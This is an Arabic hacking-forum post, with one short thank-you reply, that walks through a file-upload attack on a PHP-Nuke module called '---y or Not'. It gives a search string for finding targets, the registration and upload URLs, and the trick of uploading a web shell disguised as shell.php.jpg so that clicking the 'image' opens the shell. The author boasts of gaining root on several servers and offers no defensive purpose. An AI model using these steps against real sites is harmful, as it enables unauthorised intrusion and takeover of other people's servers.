~[ ثغرة رفع ملفات في مودلز ---y or Not لمجلة النيوك ( بتخترق يعني بتخترق ]~

السلام عليكم ورحمة الله

:

الثغرة وما فيها ,, هي انك تقوم برفع شل عن طريق المركز التحميل الخاص بالمودلز ,

كود البحث :

/modules.php?name=---y_or_not

نقوم بالتسجيل ومن بعد التسجيل بنفعل اشتراكنا ,

رابط مباشر للتسجيل :

/modules.php?name=Your_Account&op=new_user

ومن بعدها بنضيف خلف رابط السكربت الرابط التالي :

/modules.php?name=---y_or_Not&file=upload

وبترفع الشل ,, بامتداد shell.php.jpg ,, وبتظهر كذا صورة بتكبس عليها بيفتحلك الشل ,,

ومبروك عليكم يا وحوش ,,

تم اخذ فيها رووت على اكثر من 7 سيرفرات , وذ اتا سنتر صغير



السلام عليكم

أشكرك جزيل الشكر على روعة ما نقلت

أستمتعت هنا كثيرا

تحيااااتي